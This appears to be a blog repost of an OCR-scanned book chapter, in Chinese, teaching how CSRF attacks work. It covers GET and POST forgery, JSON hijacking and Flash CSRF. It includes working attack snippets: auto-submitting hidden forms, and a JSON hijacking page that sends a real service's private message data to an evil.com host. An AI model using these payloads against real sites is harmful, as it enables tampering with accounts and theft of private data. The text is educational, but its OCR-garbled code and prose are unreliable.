【无标题】

4章前端黑客之CSRF

在跨站的世界中,CSRF同样扮演着极其重要的角色。CSRF的全称是Cross Site Request Forgery,即跨站请求伪造。和Web的其他安全风险一样,CSRF刚开始总是受到冷遇,随 着越来越多的真实Web世界的CSRF攻击事件发生,OWASP2007年将CSRF归类进 OWASPTOP10的安全风险中。而从我们实际的观察来看,国内在2009年之前,CSRF漏 洞可谓满天飞,这对于漏洞挖掘者来说真没什么意思。CSRF的利用与带来的危害要看具 体场景,对于黑盒的网站来说,即使后台存在CSRF漏洞,攻击者若不清楚后台情况,这 个漏洞也毫无意义。这类网站有很多,比如,大多数闭源开发的政府、教育、企业等网站, 对于这些网站来说,CSRF漏洞根本就不是他们关注的重点。而CSRF对于那些开源网站、 多用户的网站、社交网站等来说就非常值得关注,此时的CSRF可以直接攻击管理员后台 或者其他用户。

CSRFXSS简単,但是基础概念可能会稍微难理解一些,本章的目的就是让大家理

解透CSRF,而更多高级的内容会在第7章和第9章详细分析。

  1. CSRF 概述

CSRF是跨站请求伪造,可能刚接触CSRF这个概念的人会很容易把它与XSS混淆。 我们知道,攻击的发生是由各种请求造成的,对于CSRF来说,它的请求有两个关键点: 跨站点的请求与请求是伪造的。

4.1.1跨站点的请求

从字面上看,跨站点请求的来源是其他站点,比如,目标网站的删除文章功能接收到 来自恶意网站客户端(JavaScript. FlashHTML等)发出的删除文章请求,这个请求就是 跨站点的请求,目标网站应该区分请求来源。

字面上的定义总是狭义的,这样恶意的请求也有可能来自本站。

4.1.2请求是伪造的

伪造的定义很模糊,一般情况下,我们可以认为:如果请求的发出不是用户的意愿, 那么这个请求就是伪造的。在第3“前端黑客之XSS”中我们知道,对于XSS来说,发 起的任何攻击请求实际上都是目标网站同域内发出的,此时已经没有同源策略的限制,虽 然这样,我们同样可以认为这些请求也是伪造的,因为它们不是用户的意愿。

4.1.3 —个场景

对于CSRF来说,强调这两个关键点是想表达CSRF的安全风险在大多数场景中的共 同点,而在大多数场景中,这种攻击是XSS无法完成的。

我们先来看这个“大多数场景”是什么。

目标网 站A  www.a.com

恶意网站B www.b.com

两个域不一样,目标网站A上有一个删除文章的功能,通常是用户单击“删除链接” 时才会删除指定的文章,这个链接是www.a.com/biog/del?id=l, id号代表不同的文章。

我们知道,这样删除文章实际上就是发出一个GET请求,那么如果目标网站A上存 在一个XSS漏洞,执行的JS脚本无同源策略限制,就可以按下面的方式来删除文章。

使用AJAX发出GET请求,请求值是id=l,请求目标地址是www.a.com/blog/del<>

或者动态创建一个标签对象(如imgiframescript)等,将它们的src指向这个链 接 www.a.conVblog/del?id=l,发出的也是 GET 请求。

然后欺骗用户访问存在XSS脚本的漏洞页面(在目标网站A上),则攻击发生。

如果不用这种方式,或者目标网站A根本不存在XSS漏洞,还可以如何删除文章?看 看CSRF的思路,步骤如下:

在恶意网站B上编写一个CSRF页面www.b.com/csrf.htm),想想有什么办法可以 发出一个GET请求到目标网站A上?

利用AJAX?不行,它禁止跨域传输数据。

那么,用代码<img src=http://www.a.conVblog/del?id=l />.

然后欺骗巳经登录目标网站A的用户访问www.b.com/csrf.htm页面,则攻击发生。

这个攻击过程有三个关键点:跨域发出了一个GET请求、可以无JavaScript参与、请 求是身份认证后的。

  1. )跨域发出了一个GET请求

在第1章中,我们提到Web层面上有一个非常重要的策略(即同源策略),这个策略 用来限制客户端脚本的跨域请求行为,但实际上由客户端HTML标签等发出的跨域GET 请求被认为是合法的,不在同源策略的限制中,但是这些请求发出后并没能力得到目标页 面响应的数据内容。

很多网站其实都需要有这样的功能,比如,嵌入第三方资源:图片、JS脚本、CSS样 式、框架内容,尤其是很多开放的Web 2.0网站有个mash叩应用聚合概念,如GoogleGadgets或者SNS社区中的第三方Web应用与Web游戏,通过iframe嵌入第三方扩展应用, 如果将这样的GET请求限制住,那么Web世界就过于封闭了。

安全风险总是出现在正常的流程中,现在我们发出的是一个删除文章的GET请求,对 于合法的跨域请求,浏览器会放行。

  1. )可以无JavaScript参与

大家看到了,CSRF这个过程与XSS不一样,不需要JavaScript参与,当然也可以有 JavaScript参与,比如在www.b.com/csrf.htm中使用JavaScript动态生成一个img对象:

<script>

new Image().src « *http://www.a.com/blog/del?id=l*

</script>

同样可以达到攻击效果。需要特别注意的是:这里并不是JavaScript跨域操作目标网站A 的数据,而是间接生成了 img对象,由img对象发起一个合法的跨域GET请求而己,这个 过程和上面直接用一个img标签一样。

3)请求是身份认证后的

这一点非常关键,跨域发出的请求类似这样:

GET /blog/del?id=l HTTP/1.1

Host: www.a.com

User-Agent:Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0 Connection: keep-alive

Referer: http://www.b.com/csrf.htm

Cookie:sid=0951abe6d508dab60357 804 519a61b999;JSESSI0NID=abcTePo20ri_k-pW t5net;

而如果是冃标网站A,用户自己単击删除链接时发出的请求类似这样:

GET /blog/del?id=l HTTP/1.1

Host: www.a.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0

Connection: keep-alive

Referer: http://www.a.com/blog/

Cookie:sid=0951abe6d508dab60357804519a61b999;JSESSI0NID=abcTePo20ri_k-pW t5net;

可以看到两个请求中,除了请求来源Referer值不一样外,其他都一样,尤其是这里的 Cookie值,该Cookie是用户登录目标网站A后的身份认证标志。跨域发出的请求也同样 会带上F1标冋站A的用户Cookie,这样的请求就是身份认证后的,攻击才会成功。

看上去这个过程很容易理解,其实我们漏了一个非常关键的概念:在第2章详细提 过的,Cookie分本地Cookie与内存Cookie,这两类CookieCSRF的过程中会存在一 些差异,IE浏览器默认不允许目标网站A的本地Cookie在这样的跨域请求中带上,除非 在HTTP响应头中设置了 P3P (Platform for Privacy Preferences).这个响应头告诉浏览器 允许网站(恶意网站B)跨域请求目标网站A的资源时带上目标网站A的用户本地Cookie

对于非IE浏览器,就没这样的限制。

好了,通过这个场景,我们己经知道了 CSRF的过程,这个过程中只介绍了 GET请求 的情况,那么POST请求呢?比如,目标网站A的“写文章”功能,这是一个提交表单的 操作,会发起POST请求。同样,这个POST请求可以从恶意网站B中发出,通过JavaScript 自动生成一份表单,表单的action地址指向目标网站A“写文章”表单提交地址,表单 的相关字段都准备好后,即可发出请求。下面看一段代码:

<body></body>

<script>

function new_form() { // 创建表单函数

var f = document.createElement(nform");

document.body.appendchild(f);

f.method = "post";

return f;

)

function create_elements(eForm, eName, eValue){

//创建表单项函数,eForm:表单对象,eName:表单项’eValue:表单项值

var e = document.createElement("input");

eForm.appendChild(e);

e.type = 'text';

e.name = eName;

if(!document.all){e.style.display = 'none';}else{

e.style.display = 'block*;

e.style.width = 'Opx';

e.style.height = 'Opx1;

)//兼容浏览器的隐藏设置,目的是让表单不可见

e.value = eValue;

return e;

}

var _f = new_form () ; // 创建表单对象

create elements ( f, "title", "hi"); 〃创建表单项:title=hi create elements (_f, "content"r "carfhere"); // 创建表单项:content=csrf_here _f.action= "http://www.a.com/blog/add";

//设置表单action提交地址为目标网站A/blog/add页面

_f .submit () ; // 自动提交

</script>

构造完成,当目标网站A的用户被欺骗访问了恶意网站B的该页面时,一个跨域的伪

造的POST表单请求就发出了。同样,这个请求带上了目标网站A的用户Cookie

  1. CSRF 类型

按照请求类型来区分,上面介绍的这个场景中其实己经提到:GET型与POST型的 CSRF攻击,在此不再多述。

若按照攻击方式分类,CSRF可分为:HTML CSRF攻击、JSON HUacking攻击和Flash CSRF攻击等。

  1. HTML CSRF 攻击

同样是上面那个场景,发起的CSRF请求都属于HTML元素发出的,这一类是最普遍 的CSRF攻击,我们来看看都有哪些HTML元素可以发出这些请求。

HTML中能够设置src/href等链接地址的标签都可以发起一个GET请求,如:

<link href«,,H>

<img src="">

<img lowsrc="">

<img dynsrc="**>

<meta http-equiv="refresh" content。"。; url-">

<iframe src=*,">

<frame src="">

<script src="">

<bgsound src="">

<embed src="H>

<video src=H">

<audio src=HH>

<a href=H">

<table background=HH>

CSS样式中的:

@import ""

background:url("")

还有通过JavaScript动态生成的标签对象或CSS对象发起的GET请求,而发出POST 请求只能通过form提交方式。

4.2.2 JSON Hijacking 攻击

JSON Hijacking技术非常经典,攻击过程是CSRF,不过是对AJAX响应中最常见的 JSON数据类型进行的劫持攻击。很多时候,网站发出的AJAX请求,响应回来的数据是 JSON格式,它有以下两种格式。

1 )字典格式

{

"id": 1,

,,name•,: "foo”,

"emailn : Hfoo@gmail. com** t

2)列表格土

["foo", "xoo” "coo"]

每个键值可以是数字、字符串、布尔值、字典、列表、null等,最终呈现出来的是- 份结构清晰Ft完整的字典结构或列表结构。由于JSON格式的简洁与强大,网站开始逐渐 使用JSON替代传统的XML进行数据传输o-JSObfe在各种流行语言中都得到了完美支持, 这里以JavaScript为例进行说明。

JSON数据如果以字典形式返回,直接在浏览器中显示会报错,原因是浏览器以为“ {” 开头的脚本应该是--段左右花括号包围住的代码块,所以,对这种JSON数据的处理,一 般会这样:

eval (" (" + JSON DATA + ") ") ; // 前后加上岡括号

对于使用列表形式返回的JSON数据,它是一个Array对象,以前可以通过劫持Array 数据来进行JSON Hijacking攻击,但是现在已经不行了。先来看下-个以前饭否的JSON Hijacking 案例。

饭否的private messages API可以显示用户私信内容,官方描述如F:

显示用户收到的私信

路径:http: //api . f anfou . com/private messages/inbox. [json I xml]

参数:

count (可选)-私信数,范围1-20,默认为20

示例: http://api.fanfou.comZprivatemessages/inbox.xml?count=10

callback (可选)-JavaScript函数名,使用JSON格式时可用,将JSON对象作 为参数直接调用。

示例:http: //api. fanfou.com/private_messages/inbox.xml?callback=getStatuses

我们使用JSON格式的数据返回,并且callback函数可以自定义。接着自定义一个JSON

91

Hijacking 页面,包含如 F JavaScript 代码:

<script>

function hijack (o) ( //自定义的劫持函数

var i = 0;

var data ='';

for (i; i < 3; i++) {

//alert(o[il.text);

data += o[i).senderid

)

alert(data);

new Image().src = Mhttp://www.evil.com/JSONHiJack.php?hi=" + escape (data); //将获取到的隐私数据上传到攻击者服务器上

)

</script>

script src=http://api.fanfou.com/private_messages/inbox.j son?callback= hijack&count=3>

</script>< ! --api 调用中使用的 callback 函数为 hi jack-->

当登录饭否的用户被欺骗访问这个页面时,其隐私将暴露无遗。第一个<script>标签内 的脚木是我们日定义的劫持函数hijack,第二个<script>标签加载远程JS文件,即饭否的 private_messagesAPl,这个加载过程实际上是发出了一个CSRF GET请求,请求带上了登 录用户的Cookie身份认证信息,返回的数据如下;

hijack([{

"id": 585904,

"text":

"senderid": MSalina_Wu",

"recipient_idM: "ycosxhack",

"createdat": "Sat May 31 05:00:01 +0000 2008", "sender screen name,f: "LOLO”,

"recipient screen name1': ”余弦"

}/ {

id” 444619,

"text": "'1;!--\”<XSS>=&{()}

"sender_id" : ,,xssisn,

"recipient_idH: "ycosxhack",

”created_at": "Fri Apr 11 16:07:19 +0000 200",

"sende^screen name'*: "xssis",

Mrecipient_screen_name":"余弦"

}, {

id” 351757,

ntextH:

,•senderid": HSalina_Wu",

"recipient_idn: "ycosxhack",

,,created_af,: "Sat Mar 01 03:27:22 +0000 2008”,

"sender_screen_nameM: "LOLO", nrecipient_screen_nameM:"余弦”

}])

由于hijack函数被预先劫持而定义,并且第二个<script>标签内的远程JS文件返回的 数据被当做JavaScript代码而被解析执行,这时就会执行这个hijack函数,参数就是上面 hijack()中的这段JSON数据。

这样的JSON Hijacking很经典,如果饭否API不允许自定义callback函数,返回的数 据内容如下:

[(

id": 585904,

text”

"sender id": "Salina Wu"r

"recipient_idM: "ycosxhack",

"createdat” Sat May 31 05:00:01 +0000 2008”

"senderscreen^name": "LOLO”,

-"recipient screen namev :"余弦"▼

//.其余省略……

L*返回结果是%.Array对象,•.我们曾经可以過i在加载待劫持的JS文件乏前,先劫持三-

Array X

  1. Flash CSRF 攻击

.Flash的同界同样遵循同添策略,疫起的CSRF攻击是通过ActionScript脚本柬尧涂的,二'

说到Flash CSRF时,我们通常会想到以F两点:

M跨域获取隐私数据法•.]

跨域提交数据操作】二些如添加、删除、编辑等操作的请求,•这里并不会获取到隐.

•私数据广「

1.跨域获取隐私数据

如果目标网站的根冃录下存在crossdomain.xml文件,配置如下:

<?xnrl version=Ml. 0n?>

<cross-domain-policy>

<allow-access-from domain=M*" />

</cross-domain-policy>

置中的allow-access-from domain="*"表示允许任何域的Flash请求本域的资源。这样 就非常危险,如果用户登录目标网站,被欺骗访问包含恶意Flash的网页时,自己的隐私 数据就可能被盗走。这个恶意FlashActionscript脚本如下:

import flash.net.*;

//请求隐私数据所在的页面

var loader = new URLLoader(new URLRequest("http://www.foo.com/private"));

loader. addEventListener (Event. COMPLETE, function () ( // 当请求完成后

loader.data; //获取到的隐私数据

//更多操作

));

loader, load () ; // 发起清求

2.跨域提交数据操作

这个其实就不需要crossdomain.xm 1的跨域访问策略了,在前面我们已经提到,跨域发 起的GET/POST请求对浏览器来说就是合法的,那么在Flash里进行也一样。

我们来看一个场景,国内某微博的发微博消息存在CSRF漏洞。一般情况下,我们会 使用“HTMLCSRF”方式进行:

<form action=Hhttp://t.xxx.com/article/updatetweetH method=11 post">

<input type=,,hiddenn name="status" value=,,html_csrf-here." />

</form>

<script>document  forms[0] submit 0;</script>

构造好CSRF页面,欺骗用户访问即可,提交成功后会有JSON文件返回,并提示下 载,这样的攻击就有些暴露了。如果通过Flash来进行这个过程会更加隐蔽,Actionscript 代码如下:

import flash  net.URLRequest;

function post(msg){

var url = new URLRequest(Hhttp://t.xxx.com/article/updatetweetM);

var _v = new URLVariables();

_v = "status^"+msg;

url.method = "POST"; // POST 方式提交

url.data = _v; sendToURL (url); // 发送

)

post(* flash_csrf_here');

好了,一个更完美的攻击就完成了。

4.3有何危害

CSRF有何危害?那就看CSRF能做什么,内容如下(许多细节将在第7章和第9章详 细介绍):

篡改目标网站上的用户数据。

盗取用户隐私数据。

作为其他攻击向量的辅助攻击手法。

传播CSRF蠕虫。

CSRF实际上已经是崛起的“巨人” 了,在真实的攻击中发挥了很重要的作用。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

莎萌玩家

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值